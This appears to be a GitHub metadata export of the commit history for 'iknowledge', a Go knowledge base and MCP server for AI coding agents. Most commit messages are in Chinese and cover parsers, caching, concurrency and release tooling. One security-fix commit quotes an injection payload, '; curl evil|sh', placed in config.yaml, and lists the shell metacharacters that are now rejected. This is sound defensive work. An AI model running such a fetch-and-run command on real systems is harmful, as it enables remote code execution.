zdypro888 / iknowledge

Der aufgelöste Abhängigkeitssatz konnte für diesen Bericht nicht erhoben werden: GitHub dependency-graph SBOM unavailable (404); the dependency graph may be disabled for this repository

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      "created_at": "2026-07-03T15:42:20Z",
      "owner_type": "User",
      "updated_at": "2026-07-19T19:23:52Z",
      "description": "A code knowledge base for AI agents — the project's decision & experience archive. 给 AI 配一个项目笔记本:地图、经验、账本。",
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          "headline": "docs: consolidate semantic documentation",
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          "headline": "Merge pull request #3 from zdypro888/agent/projectmem-hardening",
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          "body": "# Conflicts:\n#\t.github/workflows/release.yml\n#\tCLAUDE.md\n#\tREADME.md\n#\tREADME.zh-CN.md\n#\tcmd/iknowledge/integrate.go\n#\tcmd/iknowledge/integrate_test.go\n#\tcmd/iknowledge/main.go\n#\tcmd/iknowledge/scout_e2e_test.go\n#\tcmd/iknowledge/stdio.go\n#\tcmd/iknowledge/stdio_test.go\n#\tinternal/engine/export.go\n#\ti\n[…]\ner/rust.go\n#\tinternal/parser/typescript.go\n#\tinternal/store/auth.go\n#\tinternal/store/extended.go\n#\tinternal/store/journal.go\n#\tinternal/store/lock_unix.go\n#\tinternal/store/store.go\n#\tknowledge-impl.md",
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          "headline": "Merge main into agent/projectmem-hardening",
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          "headline": "fix: 避免大仓 stdio 就绪探针超时",
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          "headline": "Merge clean release version metadata fix",
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          "headline": "fix: keep release version metadata clean",
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          "body": "Fix crash consistency, local authentication boundaries, bundle validation, multi-language parsing, generation-aware indexing, and release/install safety.",
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          "headline": "Merge round 34 audit hardening",
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          "body": "此前 install.sh 第一步 command -v go——非 Go 用户(绝大多数 AI 编程用户)装不了,\n卡死 80% 潜在用户。本次双管齐下:\n\n① release.yml(GitHub Actions):打 v* tag 时三关(build/vet/-race)后 cross-compile\n  6 个目标(darwin/linux × amd64/arm64 + windows amd64),CGO_ENABLED=0 静态二进制,\n  -trimpath -ldflags='-s -w' 瘦身 reproducible,tar.gz + sha256sums 上传 Rele\n[…]\nnstall。\n  IKNOWLEDGE_BIN 覆盖安装目录,IKNOWLEDGE_FORCE_SOURCE 强制源码构建。\n\n本地验证:三平台 cross-compile 全过(8-9MB 二进制),tar 打包解压链路与 install.sh\n对齐,version 自检正常。README 双语更新安装说明。\n\n待首个 v* tag 触发实际发布后,无 Go 用户即可 curl|sh 一键装。",
          "is_bot": false,
          "headline": "feat(轮33): 预编译二进制发布——去掉 Go 工具链门槛,扩大用户基数",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T17:40:15Z",
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        {
          "oid": "7143448907edc8175457dc3cf12236d79ea39cd7",
          "body": "kb_status 加知识缺口 TOP5:被依赖 calledBy≥2 却零活跃知识的节点——这些是\n'每次用都得从零读代码'的盲区,主动提示 AI 优先沉淀契约/坑。\n\n场景:verify 被 Login+Logout 两处调用却无知识 → kb_status 报'知识缺口:verify\n被 2 处调用,零覆盖',AI 据此优先沉淀它的契约。\n\n留痕:CLAUDE.md 轮32 三批次(工作流测试/变更影响面/知识缺口)回写。\n\n回归:高被依赖零覆盖报缺口 + 有知识后不算缺口 两测试通过。\nbuild/vet/-race 全套绿。轮32 三批次全部完成。",
          "is_bot": false,
          "headline": "feat(轮32 批次3): 知识缺口发现 + 文档留痕",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T17:03:24Z",
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        },
        {
          "oid": "1cfd057e424b53244437726c9fbd38666d340e7b",
          "body": "'完善智能'的核心:AI 改一个函数时,系统立刻告诉它波及面 + 哪些调用方的契约/坑\n可能被破坏。从'记忆'到'主动协作'的关键一跃。\n\n实现:record_change 回执末尾,对主节点查 callgraph calledByOf,区分:\n- 带活跃知识的调用方(契约/pitfall 可能受影响)→ 列出并提示'kb_recall 看契约是否仍成立';\n- 无知识的调用方(纯机械依赖)→ 不报(callgraph 已在 recall 展示,避免噪音)。\n限额 3 个节点的影响面(防长清单刷屏)。\n\n场景:改 Login → 系统报'被 HandleLogin 调用,它带契约知识,建议复核'。\nAI 不再盲改,动手即知波及面。\n\n回归:有知识调用方报影响面 + 无知识不噪音 两测试通过。build/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(轮31 批次2): 变更影响面分析——record_change 用 callgraph 报告波及调用方/契约",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T16:26:15Z",
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        {
          "oid": "48a2d41a2bb861f9b8d2e8f40eb8bb5039baf6b8",
          "body": "之前 181 个测试都是单工具单点;这组 4 个测试模拟 AI 真实工作序列,验证这几轮\n(轮29~30)所有功能改动协同正确:\n\n① record→recall→防撞→revert:会话A 沉淀契约+pitfall、record_change(否决 sync.Map),\n  recall history 含负知识;会话B 提相似方案触发防撞;revert 撤销验证 change 链。\n② diagnose 定位:pitfall 描述问题 → diagnose 症状命中位置 + 附 rejected 上下文。\n③ 雷区累积:多次 record_change(+overturns)→ Injec\n[…]\n。\n④ 跨会话 stale:会话读哈希基线 → 改代码 → 再 recall 触发过时警报(台账+reconcile 协同)。\n\n发现并修正:stale 测试最初用行内注释改代码,Go parser 的 Hash 是 gofmt 免疫且\n行内注释不参与哈希——改用实际语句变更才触发。这是测试构造问题非产品 bug,\n但也留证了'哈希语义'在测试里要遵守。\n\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "test(轮31 批次1): 端到端工作流集成测试——验证完整价值链协同",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T16:19:13Z",
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        },
        {
          "oid": "6022f07344d1a52498153668f1cb39741030dd01",
          "body": null,
          "is_bot": false,
          "headline": "feat: add operational self-checks and import safeguards",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-08T15:24:14Z",
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        {
          "oid": "bef21f9da01bbde41937c38b1152d3444972bb99",
          "body": "解决'AI 不知哪里易出错反复踩坑':标记反复改/推翻过的'地雷区',AI 进入时强警告。\n\nC1 雷区分预计算(index.Build):landmine = 变更频次 + 推翻(overturns/reverts)×2\n  + entry-level refute 数。LandmineScore(nodeID) 访问器。\nC2 Inject 警告(read.go):文件累计 landmine≥3 → '⚠ 雷区:动手前必读否决理由,\n  否则极可能重蹈覆辙'。\nC3 kb_status 雷区 TOP5:与热点 TOP5 并列(热点=常改该消化,雷区=易错该警惕)。\n\n文档留痕:CLAUDE.md 轮30 三机制回写。\n\n回归:Inject 雷区警告 / Status TOP5 / 无信号不误报 三测试通过。\nbuild/vet/-race 全套绿。轮30 三机制(A 防撞 + B 诊断 + C 雷区)全部完成,9 测试。",
          "is_bot": false,
          "headline": "feat(轮30-C): 雷区标记 + Inject 强警告 + kb_status 雷区 TOP5",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T14:43:07Z",
          "body_truncated": false,
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        },
        {
          "oid": "0dd0b7f4a92917026d586ddc849fa3d3b491c72c",
          "body": "解决'定位问题靠猜文件名+grep':AI 输入症状/报错('支付回调偶发超时'),系统返回\n最可能位置 + 相关 pitfall + 排障流程 + 历史否决方案。与 kb_recall(位置→内容)相反。\n\n复用已有数据(零新存储):ix.Search 已索引 pitfall entry 文本(症状天然命中描述\n问题的 pitfall);keywordOverlap 匹配 Flow.Troubleshoot;ix.History 取命中节点的\nrejected 方案(动手前必读的负知识)。pitfall 优先排序 + 放松 fresh 限制(diagnose\n该看 suspect 地雷,不只 fresh)。\n\n注册:toolOrder+allTools+dispatch+scoutTools(只读,侦察兵该用)。工具数 15→16。\n回归:pitfall 命中定位 / 附 rejected 上下文 / 无命中引导 investigate 三测试通过。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(轮30-B): kb_diagnose——症状→位置反向定位",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T14:05:52Z",
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        },
        {
          "oid": "c1aeff3f27ea42cf860cf532075f27423f02e95b",
          "body": "解决'重复犯错':AI 提新方案时,系统自动检查是否与历史否决方案(rejected)相似,\nbigram>0.8 命中则分级提醒——带 disputes(已主动声明矛盾)→温和提醒;没带→强警告\n(含 change ID、被否方案原文、理由)。不阻断写入(知识导航源码拍板)。\n\n落点:write.go Remember per-entry 循环,同节点去重后、based_on 前插入。\n复用:BigramJaccard(textutil.go)、warnList(write.go)、ix.Changes()(全库遍历,\nprecedent:maintain crossNodeDup 已是同量级 O(n²) 且注释'百级可控')。\n\n回归:相似方案强警告 / 带 disputes 温和软化 / 不相似不误报 三测试通过。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(轮30-A): 写入时方案防撞——kb_remember 自动比对历史 rejected",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T13:30:29Z",
          "body_truncated": false,
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        },
        {
          "oid": "76f031f30492b924af2b5b1237a159898243d714",
          "body": "发布前唯一待办(自轮 25 起挂在 CLAUDE.md 遗留项①)消除。选 MIT:最宽松、采用率\n最高,对 AI 开发者工具最友好,与唯一依赖 yaml.v3(MIT/Apache-2.0)兼容。\n\n- LICENSE:标准 MIT 文本(版权 2026 zdypro888)\n- README.md / README.zh-CN.md:加 License 章节\n- CLAUDE.md:轮 29-续留痕,待办①许可证划掉(同时记 Rust/Java + 健康度)",
          "is_bot": false,
          "headline": "license: MIT 定案——LICENSE + 双语 README 声明 + CLAUDE.md 待办划掉",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T12:17:03Z",
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        },
        {
          "oid": "8962e4e0d48b7f1d7c8cf79c92b816d78a9afba3",
          "body": "多语言 T1 扩展(Rust .rs / Java .java,纯 Go 轻量词法,零运行时依赖):\n- Rust:fn/impl/struct/enum/trait,impl 块方法(Class.method 规范名),\n  哈希 rs 前缀,格式/注释免疫 + 改名 StructHash 免疫。\n- Java:两遍扫描(findJavaTypes + findJavaMethods),class/interface/enum/record\n  + 类内方法;scanMethodSig 只看两种签名形式(name( 或 RetType name(),\n  失败回退不吞 token,避免字段类\n[…]\n盘(零新存储,运行时聚合已有数据):\n- 置信度分布(verified/inferred/suspect/derived 占比)\n- 知识平均年龄 + 最近确认时间\n- suspect 积压数(含最久未清节点)\n- 近 30 天活动(变更/验证/推翻次数)\n\n回归:Rust 函数/impl 方法/哈希稳定/改名免疫;Java 类+方法/哈希稳定;注册覆盖。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29-续): Rust/Java 解析器 + kb_status 知识健康度仪表盘",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T11:59:20Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d354f6ac4082325e6df49a8323b2a05e2f29f587",
          "body": "E7.1 atomicWrite symlink 防线注释(EnsureLayout 0755 权限是 load-bearing)。\nE7.2 fsyncdir build tag !unix→windows(+unknown 报错版,对齐 lock_other 立场)。\nE7.3 Python helper 加固(-S no site + 清 PYTHONPATH/PYTHONSTARTUP,减 codec 注入面)。\nE7.4 mergeUnknown/cloneNode 深度限(>100 bail,防恶意嵌套 shard 栈溢出)。\nE7.5 只读端点 limit 钳制(≤200,防 ?\n[…]\n 测试纪律注明 harness 不计覆盖率)。\nE7.8 错误处理注释收口。\n\n文档同步:CLAUDE.md 加轮 29 七批次留痕;README 双语 FAQ 加 JS/TS 符号级支持声明。\n\n全轮验证:go.mod 仍只 yaml.v3(零重依赖铁律守住)、工具不碰源码、包依赖方向不变。\nbuild/vet/-race 全套绿,新增 ~1500 行 Go(含测试),总测试 149→175+。",
          "is_bot": false,
          "headline": "chore(R29 批次7): 工程化/健壮性收尾 + 文档同步",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:33:06Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "d716cee82508b45cb722d1838c65770db0b48f15",
          "body": "TypeScript/JavaScript 解析器(.ts/.tsx/.js/.jsx/.mjs/.cjs/.mts/.cts)。\n\n策略决策(零重依赖铁律):Node.js 不自带 JS/TS AST 解析库(vm 只解析 JS,\n不支持 TS;acorn/babel 需 npm 装,违反零依赖哲学)。改用纯 Go 轻量词法分析:\n扫描顶层 function/class 声明关键字 + 大括号配对算行范围,跳过字符串/注释/模板字面量\n防误匹配。class body 内提取方法(Class.method 规范名)。\n\n近似解析(宁缺不要错,knowledge.md §16.3):不解析完整 \n[…]\nash = sha256(归一化 body,压空白去注释,格式/注释免疫);\nStructHash = 自身名换占位符(改名免疫,仅迁移匹配)。class 剥方法体(方法另有符号)。\n\n恒注册(纯 Go,无需运行时探测),与 Python(python3 可用才注册)不同。\n\n回归:函数/类+方法/哈希稳定/改名免疫/字符串内容不误匹配/注册覆盖 全通过。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次6): JS/TS 解析器——纯 Go 词法,零运行时依赖",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:28:34Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "0867a85187f3ea94cf4ccd2d73bb55568c056611",
          "body": "index.Build 建三字母组(trigram)索引:normalized token(符号拆词/keywords/entry\n文本)的 ASCII 三字母组 → 节点集合。Search 在精确 token 命中 < 3 时回退 trigram,\n分数加权(精确×2 + trigram×1)。\n\n效果:authentication↔Authenticate、loginLockout↔login lockout 这类词形近似\n查询不再静默 miss 触发补账义务。\n\n边界:trigrams 只对纯 ASCII token 生效——中文等多字节字符的'三字母组'会切坏\nUTF-8 且语义不通,直接跳过(中文走精确 token + missProtocol 的 substring 兜底)。\n\n回归:TestSearchTrigramFallback(authentication 近似命中 Authenticate)+\nTestTrigramsSkipNonASCII(中文不切)。build/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次5): trigram 模糊搜索——补 recall 近似命中盲区",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:24:18Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "6b2447bbf35cd1ff7f3441e926006be305fa7758",
          "body": "F4.1 知识导出/导入(export.go):iknowledge export 打包 .knowledge/ 为 .kbundle\n  (tar.gz,纯 stdlib archive/tar+compress/gzip),import 解包到目标仓,--remap 支持\n  跨仓 Node-ID 路径前缀重映射。排除 local/wip。tar slip 防穿越。\n\nF4.2 kb_revert(model.Change.Reverts + write.go):撤销全错的 record_change/verify。\n  撤销是追加一条带 Reverts 的 Change(追加式不变量不破\n[…]\nn 预算截断。\n  跨节点去重(maintain.go crossNodeDupCandidates):dup-entries 只比同节点;新\n  cross-dup debt 扫全库两两 bigram,发现散落不同节点的语义重复条目。\n\n工具数 13→15(+kb_revert +kb_session),scout 禁这俩。server_test 适配。\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次4): 新功能——导出导入/kb_revert/kb_session/注入排序+跨节点去重",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:21:06Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "4139be4da50739b6bfc2a2b3d885cf4618c9b222",
          "body": "P3.1 git trail 缓存:recallNodeLocked 在读锁内调 gitTrail(每文件一次 git log\n  --follow 子进程)会阻塞并发读。加 cachedGitTrail(60s TTL per-file 缓存),\n  稳态零子进程。\n\nP3.2 Map 覆盖率预计算:coverage(prefix) 原先每目录遍历全索引 O(D×N)。改单遍\n  预计算:遍历所有符号节点一次,累加进各祖先目录的 cov map,walk 查表 O(1)。\n\nP3.3 config + 源文件列表缓存:LoadConfig 原先 4 处调用各自读盘+YAML 解析且\n  `_\n[…]\n 加 cachedSourceFiles\n  (60s TTL,parseFailedCached 共享)。注:callgraph 不用缓存——其增量语义依赖\n  实时文件清单检测增删。\n\nP3.4 file→nodes 索引:index.Build 加 fileNodes map,Inject 文件域查询从扫全表\n  O(N) 降为查表 O(结果数)。\n\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "perf(R29 批次3): 性能优化——子进程出锁 + 覆盖率预计算 + 缓存共享 + 文件域索引",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:11:30Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "55dd565a4575c5945e9e2a0e3ad6a1c0bf045ac2",
          "body": "核心面并发瓶颈消除:rt.mu 由 Mutex 升级 RWMutex,读路径(Recall/Map/Inject/\nStatus)改用 RLock,多会话读不再互斥串行。\n\n三项读时写外移,使读路径变纯读:\n- reconcileOnReadLocked 状态对账(降 suspect/补 anchor/恢复 fresh)→ 搬进\n  reconcileAllLocked(reloadLocked 末尾,写锁内)。读路径 reconcileOnReadLocked\n  退化为纯读:只算 curHash/signature/calls 展示数据,据已对账 status 报 stale 横幅。\n  \n[…]\n从'分片字节不变'改为'entry 数与\n锚定哈希不变'——后台对账降 status 落盘是合法独立副作用,非 record_change 半应用。\n新增并发压测:TestConcurrentReadsNoRace(10 goroutine × 60 读)+\nTestConcurrentReadWriteMix(读写混合),-race 全过无竞争无死锁。\n\nbuild/vet/-race 全套绿。",
          "is_bot": false,
          "headline": "feat(R29 批次2): RWMutex 完整改造——读路径并发化",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T10:04:33Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "c1cb9ac0d2e5586e94a43de7139710fa82392537",
          "body": "S1.1 P0 命令注入(scout.go):scout_command 经 sh -c 执行是供应链 RCE 向量\n  (恶意 commit 在 config.yaml 写 ; curl evil|sh 即中)。改零依赖自切词:\n  strings.Fields 切 argv + KEY=VAL 环境变量前缀支持 + 元字符(;|&``$)拒绝回退默认。\n  {mcp} 替换移到切词后,cfgPath 含空格也作为单 argv 元素安全。e2e 测试通过。\n\nS1.2 rand 错误吞(server.go/investigate.go):session/job ID 是凭证,\n  低熵源不可\n[…]\n 2。把'一条 flag 之差网络裸奔'变不可能。\n\nS1.6 错误码语义(server.go):kbInvalid 的 NODE_NOT_FOUND → INVALID_PARAMS\n  (参数解析失败语义不符,AI 按 KB_ERR: 自纠错会被误导)。\n\n回归:scout 命令注入拒绝/空格路径/env 前缀 4 个新测试 + e2e 自派全链路通过。\nbuild/vet/-race 全绿。",
          "is_bot": false,
          "headline": "fix(R29): 安全债清盘——P0 命令注入修复 + 5 项硬化",
          "author_name": "zdypro",
          "author_login": null,
          "committed_at": "2026-07-08T09:48:45Z",
          "body_truncated": true,
          "is_coding_agent": false
        },
        {
          "oid": "58979bd40f6d1f9c7cef63ad2ba496755b2b7367",
          "body": "用户命题\"知识点冲突测得到吗/知识库本身错了呢\"的落地:\n\n- confirm 三人成虎堵漏:inferred/suspect→verified 升级与 refute 同规格\n  ——强制 evidence + journal 确认记录(\"读过没发现问题\"不构成验证);\n  verified 复确认/derived/节点级重锚豁免(纯时间锚语义);置信桥提示、\n  MCP schema、两份设计文档、双语 README 同步\n- kb_maintain patrol:跨节点矛盾巡检简报(冲突检测的跨节点盲区补位)\n  ——关键词簇聚类跨 ≥2 节点活跃知识,同节点集去重、预算封顶溢出明示,\n \n[…]\n纯只读不开 job,refute/disputes 即留痕;CLI maintain -patrol 同源;\n  机器只聚类不判语义(零重依赖无 embedding),裁判是读简报的 AI;\n  casino 实测聚出 5 簇(派彩/round_epoch 等,跨文件同主题知识成功并读)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 冲突与错误知识防线补强——confirm 证据对称 + 跨节点矛盾巡检",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-07T01:17:30Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "b7110dc9fbcb85a16d8626131ab755463fef3e9d",
          "body": null,
          "is_bot": false,
          "headline": "fix: relax file entry budget",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-06T09:31:29Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "8721e2c2b297dbc4fbddfbdff7ef5691af317c3b",
          "body": "- python 子进程双超时护栏:探测 5s(坏 python 挂死不卡 serve 启动,\n  纯 Go 仓不陪葬)、单文件解析 20s(engine 持锁调用点防整库阻塞)\n- parseFailed 逐文件指纹缓存(mtime+size):没变的文件绝不重解析,\n  混合仓子进程解析器稳态成本归零(否则 200 个 .py 每次重扫 ≈8s)\n- 探测成本核账留痕:engine 构造仅 serve 启动/一次性 CLI,30-50ms 是\n  噪音,不做懒加载注册(并发锁+优先级分叉的复杂度本身是风险)\n- Go 哈希路径零变化实证:HashFileFor 对 Go 回退原 FileHash,\n  aibridge 幂等对账 migrated=0 suspected=0\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: Go 稳定性加固——多语言不许拖累 Go 体验(用户关切定案)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-05T06:01:11Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "c9ff949d625e8560b9987678b10a34f7348526b3",
          "body": "\"核心引擎语言无关 + 解析器插件制\"的设计承诺兑现:加语言不动核心,\n全部成本在插件面(~600 行语言面 vs ~万行语言无关核心)。\n\nT0 通用文件级(任意语言即刻可用):\n- config.yaml extensions 白名单(缺省关)→ proto/SQL/前端/配置等以文件粒度入库\n- 新增 FileHasher 可选能力:无 AST 插件自定义内容哈希(否则空符号级联出常量\n  哈希,腐烂检测失明);四处锚定点统一走 HashFileFor 出口\n- 账本/经验/hook/腐烂检测全可用;放弃符号粒度与格式化免疫(重排即 suspect,\n  出口 reanchor_all)\n[…]\ner Python 五场景(格式免疫/改名/docstring/方法不连坐 class/语法错)\n+ engine 双 E2E(proto 腐烂检测、Python 改名迁移)一次全过;8 包 -race 全绿;\nimpl §5 / knowledge §15 / README 双语留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 多语言两档落地——T0 通用文件级覆盖 + T1 Python 自托管解析器(核心零改动)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-05T05:52:09Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "958aa294307bd8c0df4dec63cf5f050a83eb9436",
          "body": "对照 codegraph(纯结构图工具,明确不做经验/账本层)后的定位结论:不与它卷地图,\n但它实证了\"AST 启发式能解接口动态分发\"——正中我们调用图的已知盲区。借鉴其思路,\n零依赖实现:\n\n- parser 提取接口声明(方法名集 + 内嵌引用;泛型约束元素标哨兵)\n- engine 全仓方法集匹配,宁缺三闸:含不可归位内嵌整接口弃/≥2 方法才严格匹配\n  (单方法仅唯一实现者,防 io.Closer 型爆炸)/build tag 同名弃;仓内内嵌不动点\n  展开(≤5 层)\n- 未归位方法调用经接口分发兜底连边(扇出 ≤5)——接口重代码的 calledBy 不再为零,\n  热区排序\n[…]\nined/diffFixpoint,\n正是 M1.4 任务 n1-3 问的);casino 15.6k 节点首建 245ms/增量 71ms。\n测试:parser 提取 + engine 全场景(匹配/单方法闸/内嵌展开/仓外弃/分发边/展示/扩展)\n一次全过;8 包 -race 全绿。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 接口→实现边(codegraph 对照借鉴)——修 calledBy 盲区 + kbeval 成本维度",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-05T05:43:19Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "832adcc3abe9383c3032faa94c39bb7700ee1dc6",
          "body": "判据一问:\"代码变了它会失效吗(或它解释这个仓库的代码为什么长这样)?\"\n三不进:通用编程知识(任何仓库都成立)/会话与用户偏好(归宿主 memory)/\n任务待办(归 kb_task)。\n\n三层落地:\n- 纪律第 5 条 + InitializeInstructions + kb_remember 工具描述立文\n- 机械警示(极窄防误杀:TODO/FIXME/待办/别忘了 → 任务态归 kb_task;\n  警示不拒收,语义终归 AI,§12.7 同哲学;\"下次重连会重放\"类合法陈述不误杀)\n- 无锚节点(project/dir)每次写入亮边界提醒——无哈希锚管腐烂,\n  是最容易被当记忆垃圾桶的地方(§8.4 合法住户仅业务规则/外部契约)\n\nREADME 双语 FAQ 增\"它会不会变成杂物记忆库\";impl 边界定案留痕;\n边界测试四例(含合法技术陈述不误杀)全过,8 包 -race 全绿。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 边界定案——知识库对应代码,不是记忆库(用户定调,三层落地)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T17:42:38Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "607810b66cedebf13de422313b23135d69b0a7cc",
          "body": null,
          "is_bot": false,
          "headline": "fix: bound maintain file scopes",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T17:14:04Z",
          "body_truncated": false,
          "is_coding_agent": false
        },
        {
          "oid": "c1843462a6406419e93d9b89dfa4093d54d4e5f7",
          "body": "沿用已验证的\"黄金时点\"哲学(把正确动作递到 AI 正在干活的手边):\n- 债没人清 → hook 注入附本文件欠账计数 + scope 化领账命令(人在现场理解新鲜,\n  顺手清账成本最低;casino 实测注入延迟 ~65ms 含全债现算;LLM 自动清账维持\n  远期不做——机器只负责递账,清账要语言能力)\n- 种子在热文件腐烂 → 半衰期沉淀指引三处落地(纪律第 5 条/热点清单/种子提示词):\n  高频改动区优先沉淀跨改动仍成立的契约/不变量,实现细节易腐少存\n  (数据依据:casino 种子 94% 一次性写入,最热两文件的种子条目数日即挂债)\n- disputes 零使用 → 接入查重警告(相似>0.8 正是矛盾露头时刻):三种结局指引\n  ——同一结论 supersedes/互相矛盾 disputes/确证旧错 refute\n\ncasino 实测:plaza.go 注入即时显示\"4 条维护欠账\";8 包 -race 全绿;impl 留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 三不足对症下药——就地欠账提示/半衰期沉淀指引/disputes 自然发现点",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T16:54:07Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "1d651ab7a06214755c738cd1b64f643516b70f46",
          "body": "实战数据:casino 116 条知识全是 inferred,而账本 22/33 条带 verified(go test/\n红绿证据/dump 解码)——AI 用测试验证了代码,却从不把对应知识升级 verified,\n五级置信阶梯实际只用一级、字段几乎不携带信息。\n\n桥接账本 verified 与条目 confidence(不自动升级——测试验证代码行为≠验证知识\n文本正确性,必须 AI 读过条目确认):\n- record_change 回执即时提示(带 verified 且触及节点有 inferred 条目时,黄金时点)\n- confidence-lag 债捞存量(节点 fresh + 有\n[…]\ned + 历史有 verified 变更)\n- kb_maintain 工具描述补全七种债种\n\ncasino 实测:精确捞出 4 个节点(有 inferred 知识 ∩ 有测试验证过的变更),\n正是 mt=7 那场带测试改动触及的节点。8 包 -race 全绿,impl §7.3 留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 置信度桥接——修复\"116/116 inferred、0 verified\"阶梯塌陷(casino 实测反馈)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T16:46:04Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "fa6759489d5e68af14d59082a3ba08e25af1c035",
          "body": "stdio 桥由 MCP 客户端直接 spawn,GUI 客户端 PATH 常没有 ~/go/bin——新用户会\n\"桥都拉不起来\"。三层兜底:\n- install.sh:裸命令不可解析时尝试软链 /usr/local/bin(不行则打印精确的\n  sudo ln 命令);uninstall.sh 对称清理软链\n- kb-bootstrap skill:写 .mcp.json 前校验 command -v,不可解析则先试软链、\n  再不行 command 字段直接写绝对路径;修步骤编号(6/8→6/7)\n- README 双语:skill 段与 Codex FAQ 同步 stdio 措辞(不再有\n[…]\n\n  机器重启说一句\")\n\n验证:install.sh 实跑(Go proxy 已能拉到 stdio 版);全新临时项目端到端——\ninit → stdio 配置 → 桥自动拉起 serve → initialize/hook 腿/只读腿全通,\n零手动服务管理。skill 已同步双宿主。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: 傻瓜安装流程 stdio 化收口——PATH 可解析性三层兜底 + 全新用户 E2E 验证",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:22:59Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "95d2357eb68eb4b2856dc5d7a14dc67e843d5443",
          "body": "用户指出\"做成系统服务不对\":MCP 生态惯例是客户端拉起进程、随会话生死,\n不该让人管理常驻服务。但 hook 注入/多客户端共享/单一写入口/子代理只读腿\n又需要同一个 HTTP 实例。两全:\n\n- 新增 `iknowledge stdio`:客户端以 command 形态拉起;确认后台 serve 在线\n  (不在则脱会话自动拉起,写者锁天然单例,并发输家自退,等端口 ≤8s),\n  然后做 stdio(newline-delimited JSON-RPC)↔ HTTP 透明桥——\n  Mcp-Session-Id 捕获回带、--auth 令牌自读(客户端配置零密钥)、\n  通知无回包、\n[…]\n骤,验证一条 stdio 命令完成首次拉起);\n- impl §1 生命周期契约留痕;README 双语同步;\n- 测试:stdio 桥 e2e(会话头回带/通知无回包/kb_status 应答)+\n  真机冒烟(无 serve → 自动拉起 → 应答 → 桥退 serve 留守)通过。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: stdio 桥——MCP 接入回归生态惯例,零服务管理(用户反馈驱动的定案修订)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:17:39Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
